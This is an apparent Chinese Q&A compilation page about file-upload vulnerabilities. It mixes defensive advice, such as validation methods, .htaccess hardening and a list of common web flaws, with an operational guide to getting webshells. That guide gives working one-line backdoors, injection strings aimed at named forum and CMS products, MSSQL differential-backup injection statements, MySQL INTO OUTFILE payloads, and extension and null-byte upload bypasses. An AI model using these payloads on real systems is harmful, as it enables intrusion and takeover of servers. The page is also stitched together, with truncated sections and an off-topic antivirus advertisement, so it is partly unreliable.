上傳漏洞jsp
『壹』 什麼不是java中易出現文件操作漏洞的方法
web安全
Java代碼審計——文件操作漏洞
jinyouxin
原創
關注
0點贊·152人閱讀
目錄
(一)、 文件操作漏洞簡介
(二) 、漏洞發現與修復案例
2.1 文件包含漏洞
2.2 文件上傳漏洞
(三) 文件下載/讀取漏洞
(四).文件寫入漏洞
(五).文件解壓漏洞
小結
(一)、 文件操作漏洞簡介
文件操作是 Java Web 的核心功能之一,其中常用的操作就是將伺服器上的文件以流的形式在本地讀寫,或上傳到網路上,Java 中的 File 類就是對這些存儲於磁碟上文件的虛擬映射。與我們在本地計算機上操作文件類似,Java 對文件的操作同樣包括上傳、刪除、讀取、寫入等。Java Web 本身去實現這些功能是沒有漏洞的,但是由於開發人員忽略了一些細節,導致攻擊者可以利用這些細節通過文件操作 JavaWeb 本身的這一個功能,從而實現形如任意文件上傳、任意文件下載/讀取、任意文件刪除等漏洞,有的場景下甚至可以利用文件解壓實現目錄穿越或拒絕服務攻擊等,對伺服器造成巨大的危害。
(二) 、漏洞發現與修復案例
2.1 文件包含漏洞
文件包含漏洞通常出現在由 php 編寫的 Web 應用中。我們知道在 PHP 中,攻擊者可以通過 PHP 中的某些包含函數,去包含一個含有攻擊代碼的惡意文件,在包含這個文件後,由於 PHP 包含函數的特性,無論包含的是什麼類型的文件,都會將所包含的文件當作 PHP 代碼去解析執行。也就是說,攻擊者可能上傳一個木馬後綴是 txt 或者 jpg 的一句話文件,上傳後利用文件包含漏洞去包含這個一句話木馬文件就可以成功拿到 Shell 了。
那麼 Java 中有沒有類似的包含漏洞呢?回答這個問題前,我們首先來看一看Java 中包含其他文件的方式
JSP 的文件包含分為靜態包含和動態包含兩種:
靜態包含:%@include file="test.jsp"%。
動態包含:<jsp:include page="<%=file%>"></jsp:include>、<c:import url="<%=url%>"></c:import>
由於靜態包含中 file 的參數不能動態賦值,因此我目前了解的靜態包含不存在包含漏洞。相反,動態包含中的 file 的參數是
『貳』 文件上傳漏洞攻擊方法有什麼
文件上傳漏洞是什麼?怎樣防禦文件上傳漏洞攻擊?文件上傳漏洞是web安全中經常利用到的一種漏洞形式。這種類型的攻擊從大的類型上來說,是攻擊 數據與代碼分離原則 的一種攻擊。
一些web應用程序中允許上傳圖片,文本或者其他資源到指定的位置,文件上傳漏洞就是利用這些可以上傳的地方將惡意代碼植入到伺服器中,再通過url去訪問以執行代碼
造成文件上傳漏洞的原因是
對於上傳文件的後綴名(擴展名)沒有做較為嚴格的限制
對於上傳文件的MIMETYPE 沒有做檢查
許可權上沒有對於上傳的文件的文件許可權,(尤其是對於shebang類型的文件)
對於web server對於上傳文件或者指定目錄的行為沒有做限制
下面就閑話一些文件上傳漏洞的防禦方式和攻擊者的繞過方式
1.前端限制
function check(){
var filename=document.getElementById("file");
var str=filename.value.split(".");
var ext=str[str.length-1];
if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif'){
return true;
}else{
alert("這不是圖片!")
return false;
}
return false;
}
在表單中使用onsumbit=check()調用js函數來檢查上傳文件的擴展名。這種限制實際上沒有任何用處,任何攻擊者都可以輕而易舉的破解。只能用於對於用戶完全信任的情況下,很難稱之為一種安全措施只能稱之是一種防止用戶誤操作上傳的措施,
反制:
隨便的編輯一下頁面/用burpsuite/寫個小腳本就可以突破之,無須多言
2.檢查擴展名
顧名思義,就是在文件被上傳到服務端的時候,對於文件名的擴展名進行檢查,如果不合法,則拒絕這次上傳
在這里,還有一點是值得一提的,在檢查擴展名是否合法的時候,有兩種策略
黑名單策略,文件擴展名在黑名單中的為不合法,示例代碼
$postfix = end(explode('.','$_POST['filename']);
if($postfix=='php'||$postfix=='asp'||$postfix=='sh'){
echo "invalid file type";
return;
}
白名單策略,文件擴展名不在白名單中的均為不合法
$postfix = end(explode('.','$_POST['filename']);
if($postfix=='jpg'||$postfix=='png'||$postfix=='gif'){
//save the file and do something next
} else {
echo "invalid file type";
return;
}
白名單策略是更加安全的,通過限制上傳類型為只有我們接受的類型,可以較好的保證安全,因為黑名單我們可以使用各種方法來進行注入和突破
反制
在一些 webserver 中,存在解析漏洞
1.老版本的IIS中的目錄解析漏洞,如果網站目錄中有一個 /.asp/目錄,那麼此目錄下面的一切內容都會被當作asp腳本來解析
2.老闆本的IIS中的分號漏洞:IIS在解析文件名的時候可能將分號後面的內容丟棄,那麼我們可以在上傳的時候給後面加入分號內容來避免黑名單過濾,如 a.asp;jpg
3.舊版Windows Server中存在空格和dot漏洞類似於 a.php. 和 a.php[空格] 這樣的文件名存儲後會被windows去掉點和空格,從而使得加上這兩個東西可以突破過濾,成功上傳,並且被當作php代碼來執行
4.nginx空位元組漏洞 xxx.jpg%00.php 這樣的文件名會被解析為php代碼運行
5.apache的解析漏洞,上傳如a.php.rar a.php.gif 類型的文件名,可以避免對於php文件的過濾機制,但是由於apache在解析文件名的時候是從右向左讀,如果遇到不能識別的擴展名則跳過,rar等擴展名是apache不能識別的,因此就會直接將類型識別為php,從而達到了注入php代碼的目的
3.檢查HTTP Header中的Content-Type
HTTP協議規定了上傳資源的時候在Header中加上一項文件的MIMETYPE,來識別文件類型,這個動作是由瀏覽器完成的,服務端可以檢查此類型不過這仍然是不安全的,因為HTTP header可以被發出者或者中間人任意的修改,不過加上一層防護也是可以有一定效果的
反制
使用各種各樣的工具(如burpsuite)強行篡改Header就可以,太容易將header中的
Content-Type: application/php
或者其他類型
改為
Content-Type: image/jpg
Content-Type: image/png
Content-Type: text/plain
等這些web程序允許的淚洗改附上常用的MIMETYPE表
text/plain(純文本)
text/html(HTML文檔)
text/javascript(js代碼)
application/xhtml+xml(XHTML文檔)
image/gif(GIF圖像)
image/jpeg(JPEG圖像)
image/png(PNG圖像)
video/mpeg(MPEG動畫)
application/octet-stream(二進制數據)
application/pdf(PDF文檔)
application/(編程語言) 該種語言的代碼
application/msword(Microsoft Word文件)
message/rfc822(RFC 822形式)
multipart/alternative(HTML郵件的HTML形式和純文本形式,相同內容使用不同形式表示)
application/x-www-form-urlencoded(POST方法提交的表單)
multipart/form-data(POST提交時伴隨文件上傳的表單)
4.分析文件頭內容來檢查文件類型
與方法2不同,還有一種檢查類型的方式是使用對於文件內容的驗證機制,這種方法利用的是每一個特定類型的文件都會有不太一樣的開頭或者標志位。可以通過比如php的exif_imagetype()函數,一個通過這種方法來過濾的示例代碼如下:
if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
return;
}
也可以自己編寫函數來進行識別,圖片文件通常有稱作幻數的頭位元組,我們來看一下幾種圖片文件的幻數:
(注意!下面是二進制而不是文本格式的數據)
JPG
FF D8 FF E0 00 10 4A 46 49 46
GIF
47 49 46 38 39 61
(相當於文本的GIF89a)
PNG
89 50 4E 47
通過檢查頭幾位位元組,可以分辨是否是圖片文件
如果是其他類型的二進制文件,也有響應的頭位元組,如下表
反制
給上傳腳本加上相應的幻數頭位元組就可以,php引擎會將
(一般不限制圖片文件格式的時候使用GIF的頭比較方便,因為全都是文本可列印字元。)
GIF89a
do_something();
?>
如果是其他類型的二進制文件,也有響應的頭位元組,如下表
格式
文件頭
TIFF (tif)
49492A00
Windows Bitmap (bmp)
424D
CAD (dwg)
41433130
Adobe Photoshop (psd)
38425053
Rich Text Format (rtf)
7B5C727466
MS Word/Excel (xls.or.doc)
D0CF11E0
MS Access (mdb)
5374616E64617264204A
ZIP Archive (zip),
504B0304
RAR Archive (rar),
7221
Wave (wav),
57415645
AVI (avi),
41564920
Real Media (rm),
2E524D46
MPEG (mpg),
000001BA
MPEG (mpg),
000001B3
Quicktime (mov),
6D6F6F76
Adobe Acrobat (pdf),
255044462D312E
Windows Media (asf),
3026B2758E66CF11
MIDI (mid),
4D546864
5.限制Web Server對於特定類型文件的行為
導致文件上傳漏洞的根本原因在於服務把用戶上傳的本應是數據的內容當作了代碼,一般來說,用戶上傳的內容都會被存儲到特定的一個文件夾下,比如我們很多人習慣於放在 ./upload/ 下面要防止數據被當作代碼執行,我們可以限制web server對於特定文件夾的行為。
大多數服務端軟體都可以支持用戶對於特定類型文件的行為的自定義,以Apache為例:
在默認情況下,對與 .php文件Apache會當作代碼來執行,對於 html,css,js文件,則會直接由HTTP Response交給客戶端程序對於一些資源文件,比如txt,doc,rar等等,則也會以文件下載的方式傳送的客戶端。我們希望用戶上傳的東西僅僅當作資源和數據而不能當作代碼
因此可以使用伺服器程序的介面來進行限制
以Apache為例,我們可以利用 .htaccess 文件機制來對web server行為進行限制
在這里插一句,如果不是專門的文件下載目錄,請務必關掉文件夾瀏覽的許可權,以防止嗅探和可能的越權,也是使用.htaccess文件,在其中加上一句
Options All -Indexes
即可。
禁止腳本執行有多種方式可以實現,而且分別有不同的效果,我們分別來看一下
1.指定特定擴展名的文件的處理方式,原理是指定Response的Content-Type可以加上如下幾行
AddType text/plain .pl .py .php
這種情況下,以上幾種腳本文件會被當作純文本來顯示出來,你也可以換成其他的Content-Type
2.如果要完全禁止特定擴展名的文件被訪問,用下面的幾行
Options -ExecCGI
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi識別
在這種情況下,以上幾種類型的文件被訪問的時候,會返回403 Forbidden的錯誤
3.也可以強制web伺服器對於特定文件類型的處理,與第一條不同的是, 下面的方法直接強行讓apache將文件識別為你指定的類型,而第一種是讓瀏覽器
ForceType text/plain
看代碼就可以很明白的知道,符合上面正則的全部被認為是純文本,也可以繼續往裡面加入其他類型。
4.只允許訪問特定類型的文件
order deny,allow
deny from all
在一個上傳圖片的文件夾下面,就可以加上這段代碼,使得該文件夾裡面只有圖片擴展名的文件才可以被訪問,其他類型都是拒絕訪問。
這又是一個白名單的處理方案
永遠記得,白名單是最有保障的安全措施
可以通過 move_uploaded_file 函數把自己寫的.htaccess 文件上傳,覆蓋掉伺服器上的文件,來定義文件類型和執行許可權如果做到了這一點,將獲得相當大的許可權。
『叄』 如何從後台得到webshell
注意:如何進入後台,不是本文討論范圍,其具體方法就不說了,靠大家去自己發揮。此文參考了前人的多方面的資料和信息,在此一並表示感謝。
一、直接上傳獲得webshell
這種對php和jsp的一些程序比較常見,MolyX BOARD就是其中一例,直接在心情圖標管理上傳.php類型,雖然沒有提示,其實已經成功了,上傳的文件url應該是
,前一陣子的聯眾游戲站和網易的jsp系統漏洞就可以直接上傳jsp文件。文件名是原來的文件名,bo-blog後台可以可以直接上傳.php文件,上傳的文件路徑有提示。以及一年前十分流行的upfile.asp漏洞(動網5.0和6.0、早期的許多整站系統),因過濾上傳文件不嚴,導致用戶可以直接上傳webshell到網站任意可寫目錄中,從而拿到網站的管理員控制許可權。
二、添加修改上傳類型
現在很多的腳本程序上傳模塊不是只允許上傳合法文件類型,而大多數的系統是允許添加上傳類型,bbsxp後台可以添加asaasP類型,ewebeditor的後台也可添加asa類型,通過修改後我們可以直接上傳asa後綴的webshell了,還有一種情況是過濾了.asp,可以添加.aspasp的文件類型來上傳獲得webshell。php系統的後台,我們可以添加.php.g1f的上傳類型,這是php的一個特性,最後的哪個只要不是已知的文件類型即可,php會將php.g1f作為.php來正常運行,從而也可成功拿到shell。LeadBbs3.14後台獲得webshell方法是:在上傳類型中增加asp ,注意,asp後面是有個空格的,然後在前台上傳ASP馬,當然也要在後面加個空格!
三、利用後台管理功能寫入webshell
上傳漏洞基本上補的也差不多了,所以我們進入後台後還可以通過修改相關文件來寫入webshell。比較的典型的有dvbbs6.0,還有leadbbs2.88等,直接在後台修改配置文件,寫入後綴是asp的文件。而LeadBbs3.14後台獲得webshell另一方法是:添加一個新的友情鏈接,在網站名稱處寫上冰狐最小馬即可,最小馬前後要隨便輸入一些字元,http:\網站incIncHtmBoardLink.asp就是我們想要的shell。
四、利用後台管理向配置文件寫webshell
利用"""":""//"等符號構造最小馬寫入程序的配置文件,joekoe論壇,某某同學錄,沸騰展望新聞系統,COCOON Counter統計程序等等,還有很多php程序都可以,COCOON Counter統計程序舉例,在管理郵箱處添上[email protected]":eval request(chr (35))//, 在配製文件中就是webmail="[email protected]":eval request(chr(35))//",還有一種方法就是寫上 [email protected]"%><%eval request(chr(35))%><%',這樣就會形成前後對應,最小馬也就運行了。<%eval request(chr(35))%>可以用lake2的eval發送端以及最新的2006 客戶端來連,需要說明的是資料庫插馬時候要選前者。再如動易2005,到文章中心管理-頂部菜單設置-菜單其它特效,插入一句話馬"%><%execute request("l")%><%',保 存頂部欄目菜單參數設置成功後,我們就得到馬地址http://網站/admin/rootclass_menu_config.asp。
五、利用後台資料庫備份及恢復獲得webshell
主要是利用後台對access資料庫的「備份資料庫」或「恢復資料庫」功能,「備份的資料庫路徑」等變數沒有過濾導致可以把任意文件後綴改 為asp,從而得到webshell,msssql版的程序就直接應用了access版的代碼,導致sql版照樣可以利用。還可以備份網站asp文件為其他後綴 如.txt文件,從而可以查看並獲得網頁源代碼,並獲得更多的程序信息增加獲得webshell的機會。在實際運用中經常會碰到沒有上傳功能的時 候,但是有asp系統在運行,利用此方法來查看源代碼來獲得其資料庫的位置,為資料庫插馬來創造機會,動網論壇就有一個ip地址的資料庫,在後台的ip管理中可以插入最小馬然後備份成.asp文件即可。在談談突破上傳檢測的方法,很多asp程序在即使改了後綴名後也會提示文件非法,通過在.asp文件頭加上gif89a修改後綴為gif來騙過asp程序檢測達到上傳的目的,還有一種就是用記事本打開圖片文件,隨便粘貼一部分復制到asp木馬文件頭,修改gif後綴後上傳也可以突破檢測,然後備份為.asp文件,成功得到webshell。
六、利用資料庫壓縮功能
可以將數據的防下載失效從而使插入資料庫的最小馬成功運行,比較典型的就是loveyuki的L-BLOG,在友情添加的url出寫上<%eval request (chr(35))%>, 提交後,在資料庫操作中壓縮資料庫,可以成功壓縮出.asp文件,用海洋的最小馬的eval客戶端連就得到一個webshell。
七、asp+mssql系統
這里需要提一點動網mssql版,但是可以直接本地提交來備份的。首先在發帖那上傳一個寫有asp代碼的假圖片,然後記住其上傳路徑。寫一個本地提交的表單,代碼如下:
<form action=http://網站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post">
<p>已上傳文件的位置:<input name="Dbpath" type="text" size="80"></p>
<p>要復制到的位置:<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p> </form>
另存為.htm本地執行。把假圖片上傳路徑填在「已上傳文件的位置」那裡,想要備份的WebShell的相對路徑填寫在「要復制到的位置」那裡,提交就得到我們可愛的WebShell了,恢復代碼和此類似,修改相關地方就可以了。沒有遇到過後台執行mssql命令比較強大的asp程序後台,動網的資料庫還原和備份是個擺設,不能執行sql命令備份webshell,只能執行一些簡單的查詢命令。可以利用mssql注入差異備份webshell,一般後台是顯示了絕對路徑,只要有了注入點基本上就可以差異備份成功。下面是差異備份的主要語句代碼,利用動網7.0的注入漏洞可以用差異備份一個webshell,可以用利用上面提到的方法,將conn.asp文件備份成.txt文件而獲得庫名。
差異備份的主要代碼:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--
;Drop table [heige];create table [dbo].[heige] ([cmd] [image])--
;insert into heige(cmd) values()--
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--
這段代碼中,0x626273是要備份的庫名bbs的十六進制,可以是其他名字比如bbs.bak; 是<%execute request("l")%>的十六進制,是lp最小馬;0x643A5C7765625C312E617370是d:web1.asp的十六進制,也就是你要備份的webshell路徑。當然也可以用比較常見備份方式來獲得webshell,唯一的不足就是備份後的文件過大,如果備份資料庫中有防下載的的數據表,或者有錯誤的asp代碼,備份出來的webshell就不會成功運行,利用差異備份是成功率比較高的方法,並且極大的減少備份文件的大小。
八、php+mysql系統
後台需要有mysql數據查詢功能,我們就可以利用它執行SELECT ... INTO OUTFILE查詢輸出php文件,因為所有的數據是存放在mysql里的,所以我們可以通過正常手段把我們的webshell代碼插入mysql在利用SELECT ... INTO OUTFILE語句導出shell。在mysql操作里輸入select from mysql.user into outfile '路徑』 就可以獲得了一個<?eval($_POST[a]);?>的最小馬' 是我們<?eval($_POST[a]);?>的十六進制,這種方法對phpmyadmin比較普遍,先利用phpmyadmin的路徑泄露漏洞,比較典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php。
就可以暴出路徑,php環境中比較容易暴出絕對路徑:)。提一點的是遇到是mysql在win系統下路徑應該這樣寫d:\wwwroot\a.php。下面的方法是比較常用的一個導出webshell的方法,也可以寫個vbs添加系統管理員的腳本導出到啟動文件夾,系統重起後就會添加一個管理員帳號
CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval($_POST[a]);?>")?>')
select cmd from a into outfile '路徑/b.php'
DROP TABLE IF EXISTS a
訪問b.php就會生成一個<?eval($_POST[a]);?>的最小馬。
如果遇到可以執行php命令就簡單多了,典型的代表是BO-BLOG,在後台的php命令框輸入以下代碼:
<?
$sa = fopen("./up/saiy.php","w");
fwrite($sa,"<?eval($_POST[a]);?".">");
fclose($sa);
?>
就會在up目錄下生成文件名為saiy.php內容為<?eval($_POST[a]);?>的最小php木馬, 最後用lanker的客戶端來連接。實際運用中要考慮到文件夾是否有寫許可權。或者輸入這樣的代碼<?fputs(fopen("./a.php","w"),"<?eval($_POST[a]);?>")?> 將會在當前目錄生成一個a.php的最小馬。
九、phpwind論壇從後台到webshell的三種方式
方式1 模板法
進入後台, 風格模版設置 ,在隨便一行寫代碼,記住,這代碼必須頂著左邊行寫,代碼前面不可以有任何字元。
EOT;
eval($a);
print <<<EOT
而後得到一個shell為http://網站/bbs/index.php。
方始2 臟話過濾法
進入安全管理 ◇ 不良詞語過濾。新增不良詞語寫 a』]=』aa』;eval($_POST[』a』]);//
替換為那裡可以隨意寫,而後得到一個shell地址為http://網站/bbs/data/bbscache/wordsfb.php。
方式3 用戶等級管理
新建立會員組,頭銜你可以隨便寫,但是千萬不要寫單雙引號特殊符號,升級圖片號寫a』;eval($_POST[』a』]);// ,升級點數依然可以隨意寫。而後得到一個shell地址為http://網站/bbs/data/bbscache/level.php。
以上三種方式得到webshellr的密碼是a,為lanker的一句話後門服務端。
十、也可以利用網站訪問計數系統記錄來獲得webshell
最明顯的就是某私服程序內的阿江計數程序,可以通過http://網站/stat.asp?style=textreferer= 代碼內容&screenwidth=1024直接提交, 即可把代碼內容直接插入到計數系統的資料庫中,而此系統默認資料庫為count#.asa,我們可以通過http://網站/count%23.asa訪問得到webshell,由於阿江計數程序過濾了%和+,將最小馬改成<SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT>eval(Request("1"))</SCRIPT>替換代碼內容處提交,然後用lake2的eval客戶端來提交,值得一提的是如果進到計數後台,可以清理某時某刻的數據,一旦插入asp木馬失敗,可以清理資料庫再次操作。
『肆』 文件上傳漏洞有哪些挖掘思路
文件上傳漏洞作為獲取伺服器許可權最快的方式,雖然相關資料很多,但很多人對上傳校驗方式、如何針對性繞過檢測、哪種上傳和解析的場景會產生危害等還是比較模糊。本文作一些闡述,然後補充一些除了上傳webshell的其他非常規挖掘姿勢,包括XSS、重定向、Dos、CSRF等等。
1、基礎知識:
要深入了解文件上傳,必須了解上傳屬性、常見文件的結構、圖形處理函數等內容。
1) 報文特點:
觀察文件上傳報文的特點:
Header中Content-Type特徵有二:
1.multipart/form-data(form表單的enctype屬性,規定為二進制數據)
2.boundary字元串(作用為分隔符,以區分POST數據)
POST內容特徵有五:
1.Content-Disposition:form-data
2. name:input表單名
3.filename:文件名
4.Content-Type:定義文件的類型和網頁的編碼,決定瀏覽器將以什麼形式、什麼編碼讀取這個文件;
5.boundary:Content-Type的值前面加了兩個---
2) 常見校驗規則
現存常用的上傳校驗規則無非下面幾類:
1.客戶端javascript校驗(後綴名)
2.文件頭content-type欄位校驗(image/gif):附帶參數
4.後綴名黑/白名單校驗:擴展名
5.文件內容頭校驗:GIF89a
6.文件內容校驗:文件信息,二次渲染
7.自定義正則校驗
3)一個澄清
文件上傳和文件解析是兩個過程,即使我們上傳的是php文件,但解析為圖片,訪問php文件會顯示「圖片無法顯示」;或者我們上傳的是jpg文件,但裡面混有shell腳本,若被解析為php文件也會執行;又或者上傳處沒法繞過檢測,只能上傳jpg文件,但在其他功能處存在文件包含等功能,仍可執行成功。
還是回到安全的本質,上傳是「輸入」,那文件解析就是「輸出」,任何漏洞挖掘都需要結合輸入+輸出。
2、繞過技巧:
這里匯總一些實戰中較常用的繞過技巧:
1)後綴名黑名單
以下替換後綴也可以解析為shell:
php:.phtml,.phpt,.php3,.php3p
asp:.aspx,asmx,ashx,web.config
perl:.pl,.pm,.cgi,.lib
jsp:.jspx,.jsw,.jsv,.jspf
Coldfusion:.cfm,.cfml,.cfc,.dbm
另外可以配合操作系統的文件命名規則:
.php.,.php空格,.php:1.jpg,.php::$DATA等
這些後綴的文件會被windows系統自動去掉不符合規則符號後面的內容,從而只留下.php。
2)後綴名白名單
除了結合各種伺服器解析特性,較常用的是Null Byte Injection空位元組注入,插入空位元組值的原因是某些應用程序伺服器腳本語言使用c/c++庫來檢查文件名和內容。在C/C ++中,一行以/00結尾或稱為NullByte。因此,只要解釋器在字元串的末尾看到一個空位元組,就會停止讀取,認為它已經到達字元串的末尾。
如,我們將要上傳的Happy.jpg的名稱更改為Happy.phpA.jpg,然後上傳文件,在Burp中捕獲請求,切換到Hex視圖。在字元串視圖中找到文件名。查看相應的Hex表,並將41('A')替換為00(為空位元組)。結果字元串變為Happy.php(空).jpeg。由於php解釋器在內部使用C語言庫,它將停止讀取Happy.php後的文件名,文件將保存為Happy.php。
另一種繞過白名單的方法是使用雙後綴:shell.php.jpg。
『伍』 請教各位高人,如何解決jsp版ewebeditor的上傳漏洞
建議騰訊電腦管家修復
1)騰訊電腦管家會智能匹配電腦系統,針對性推送適合系統的高危漏洞補丁,而其他安全軟體可能推送非高危漏洞補丁;
2)騰訊電腦管家推送最近發布的漏洞補丁包,而其他安全軟體可能提示已過期的漏洞補丁(可以通過查看各安全軟體的補丁發布日期得知)。
3)騰訊電腦管家還可以定期自動刪除補丁包,清理電腦空間
打開騰訊電腦管家——主菜單——修復漏洞——定期刪除補丁包(默認勾選狀態)
『陸』 如何修復xheditor,jsp;jpg文件上傳成功漏洞
1.必須看目標站是用什麼語言編寫的,asp,asp.net,php,jsp,cgi等等
2.如果目標是asp,你直接傳【假如可以直接傳】也沒用的,伺服器不支持是沒辦法的
3.伺服器必須安裝了java,支持jsp才可以的
『柒』 網站建設中出現的安全漏洞有哪些
網站建設中出現的安全漏洞:
1、明文傳輸
問題描述:對系統用戶口令保護不足,攻擊者可以利用攻擊工具,從網路上竊取合法的用戶口令數據。
修改建議:傳輸的密碼必須加密。
注意:所有密碼要加密。要復雜加密。不要用或md5。
2、sql注入
問題描述:攻擊者利用sql注入漏洞,可以獲取資料庫中的多種信息,如:管理後台的密碼,從而脫取資料庫中的內容(脫庫)。
修改建議:對輸入參數進行過濾、校驗。採用黑白名單方式。
注意:過濾、校驗要覆蓋系統內所有的參數。
3、跨站腳本攻擊
問題描述:對輸入信息沒有進行校驗,攻擊者可以通過巧妙的方法注入惡意指令代碼到網頁。這種代碼通常是Java,但實際上,也可以包括Java、VB、ActiveX、Flash或者普通的HTML。攻擊成功之後,攻擊者可以拿到更高的許可權。
修改建議:對用戶輸入進行過濾、校驗。輸出進行HTML實體編碼。
注意:過濾、校驗、HTML實體編碼。要覆蓋所有參數。
4、文件上傳漏洞
問題描述:沒有對文件上傳限制,可能會被上傳可執行文件,或腳本文件。進一步導致伺服器淪陷。
修改建議:嚴格驗證上傳文件,防止上傳asp、aspx、asa、php、jsp等危險腳本。同事最好加入文件頭驗證,防止用戶上傳非法文件。
5、敏感信息泄露
問題描述:系統暴露內部信息,如:網站的絕對路徑、網頁源代碼、SQL語句、中間件版本、程序異常等信息。
修改建議:對用戶輸入的異常字元過濾。屏蔽一些錯誤回顯,如自定義404、403、500等。
6、命令執行漏洞
問題描述:腳本程序調用如php的system、exec、shell_exec等。
修改建議:打補丁,對系統內需要執行的命令要嚴格限制。
7、CSRF(跨站請求偽造)
問題描述:使用已經登陸用戶,在不知情的情況下執行某種動作的攻擊。
修改建議:添加token驗證。時間戳或這圖片驗證碼。
8、SSRF漏洞
問題描述:服務端請求偽造。
修改建議:打補丁,或者卸載無用的包
9、默認口令、弱口令
問題描述:因為默認口令、弱口令很容易讓人猜到。
修改建議:加強口令強度不適用弱口令
注意:口令不要出現常見的單詞。如:root123456、admin1234、qwer1234、p ssw0rd等。